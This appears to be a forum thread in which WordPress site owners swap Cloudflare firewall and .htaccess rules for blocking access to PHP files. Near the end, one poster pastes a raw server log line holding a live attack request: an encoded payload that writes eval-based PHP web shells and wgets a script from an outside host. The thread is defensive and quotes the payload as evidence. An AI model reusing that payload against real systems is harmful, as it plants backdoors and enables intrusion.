Firewall rule to block access to .php files

Hi guys!

To prevent any possible attacks targeting .php files, I wanna create a firewall rule that blocks access to all .php files, except /wp-admin/admin-ajax.php

Is this the right expression?

(http.request.uri.path contains "/*/*.php" and not http.request.uri.path contains "/wp-admin/admin-ajax.php")

Edit: Just realized that it won’t work, since this prevent me using Wordpress admin area.

Any solutions?

You could try a rewrite rule like below but why not block access to /wp-admin folder?

RewriteEngine on 
RewriteCond %{HTTP_REFERER} !^https://(www\.)?example\.com [NC] 
RewriteCond %{HTTP_REFERER} !^https://(www\.)?example\.com.*$ [NC] 
RewriteRule \.(html|php)$ http://http-login.badssl.com/ [R=301,L]
2 Likes

If your WordPress installation is typical and up-to-date, there should be no issues with people accessing actual PHP files. If you’re trying to prevent server-side includes or maliciously uploaded php files, there are probably better ways to deal with that (and it shouldn’t be a thing in standard WP).

If you still would like to have this sort of firewall rule, you could have the “contains wp-admin” part of the rule as http.request.uri.path contains "/wp-admin" since there’s little chance of you having a page like /dir/wp-admin.

I like @Withheld’s solution as well since it gives you more control.

3 Likes

What I have in my firewall rules for php files is this:

(http.request.uri.path contains ".php" and http.request.uri.path contains "/wp-content/")

which will block hackers trying to get to PHP files of vulnerable themes and plugins.

This serves two purposes: (1) avoid that malicious traffic hit your origin server regardless of whether or not you have a vulnerable plugin/theme installed, and (2) as you never know when any of your plugins will be found to have become vulnerable, it covers that too (mostly).

Trying to block access of PHP files in /wp-admin/ or on the installation directory will either break WP completely, or break some function of it. What you can and should do instead is to protect /wp-admin/ and any other files that are frequently hit by bots (like /wp-login.php and /xmlrpc.php) with Access Policies, so that only authenticated users get in.

Since I enabled the above php firewall rule and my Access Policies, the amount of malicious bot traffic is very low. My site logs never looked so boring!

3 Likes

Indeed. Cloudflare Firewall removes so much unwanted traffic I rarely need to babysit the monotonous IP Access or User Agent blocking.

2 Likes

Thank you for the answers and ideas! I will try them!

I just discovered a few these ago how cool, customizable is the Cloudflare firewall. Ihad thousands of daily XMLRPC.php attacks, however previously I blocked access to it in .htaccess, I think it’s still better to block this directly in the Cloudflare Firewall.

I also have attacks in my server log like these:

"POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=echo+%27Vuln%21%21+patch+it+Now%21%27+%3E+vuln.htm%3B+echo+%27Vuln%21%21%3C%3Fphp+%40eval%28%24_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+sites%2Fdefault%2Ffiles%2Fvuln.php%3B+echo+%27Vuln%21%21%3C%3Fphp+%40eval%28%24_POST%5B%27pass%27%5D%29+%3F%3E%27%3E+vuln.php%3B+cd+sites%2Fdefault%2Ffiles%2F%3B+echo+%27AddType+application%2Fx-httpd-php+.jpg%27+%3E+.htaccess%3B+wget+%27http%3A%2F%2F40k.waszmann.de%2FDeutsch%2Fimages%2Fup.php%27 HTTP/1.1" 200 24584 "http://www.google.com.hk" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36"

Don’t know if it’s a possible vulnerable method for any Wordpress Installations, but I also blocked access to any queries like that.

A big problem is that I can’t upgrade Wordpress safely, because I have a highly customized theme and I also tweaked the files of the plugins, so I don’t wanna lose these modifications and I also don’t wanna risk a possible incompatibility with newer Wordpress versions.

This topic was automatically closed after 30 days. New replies are no longer allowed.